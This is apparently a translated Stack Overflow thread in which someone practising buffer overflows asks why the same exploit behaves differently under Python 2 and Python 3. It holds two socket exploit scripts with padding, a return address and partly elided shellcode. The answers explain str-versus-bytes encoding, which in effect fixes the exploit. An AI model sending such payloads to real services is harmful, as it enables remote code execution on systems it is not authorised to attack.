Python3和Python2之间的区别 - socket.send数据

时间:2015-04-08 11:45:05

标签: sockets python-3.x buffer-overflow

我正在练习一些缓冲区溢出技术和 我发现了一个发送数据的奇怪问题。

除了事实,我有两个几乎相同的代码 在Python3代码中,我更改了sock.send来编码 字符串(在Python2中你不需要)

Python2代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

我发送缓冲区,然后用免疫调试器检查EIP / SEP值 我发现我在Python2代码和Python3之间获得了不同的值 码。怎么可能?

两者中的缓冲区相同,因此调试器中的EIP / SEP应该相同。

换句话说,从服务器的角度来看(获取套接字数据) 看起来它会得到不同的数据结构或类似的东西。

有什么想法吗?

感谢。

2 个答案:

答案 0 :(得分:4)

您的服务器和调试器是正确的 - 缓冲区内容相同。

在python 2和3中,如果你写buffer = "A"*268,缓冲区的类型是str。但是,str代表is completely different in the two versions

在python 2中,str实际上是一个字节数组。在python 3中,它是一系列人类可读字符,而不是 bytes (所谓的&#34; unicode字符串&#34;在python 2中)< / p>

如果您进一步.encode(),则使用utf-8将字符序列转换为字节序列。你的字符串"changes the content",可以这么说

您可能想要做的是buffer = b"A"*268,它将使用bytes代替str 。您还需要b之前的所有连接字节序列前缀

答案 1 :(得分:0)

您可以使用six.b使其与python2和python3兼容:

import six

...
sock.send(six.b(buffer))

https://six.readthedocs.io/#six.b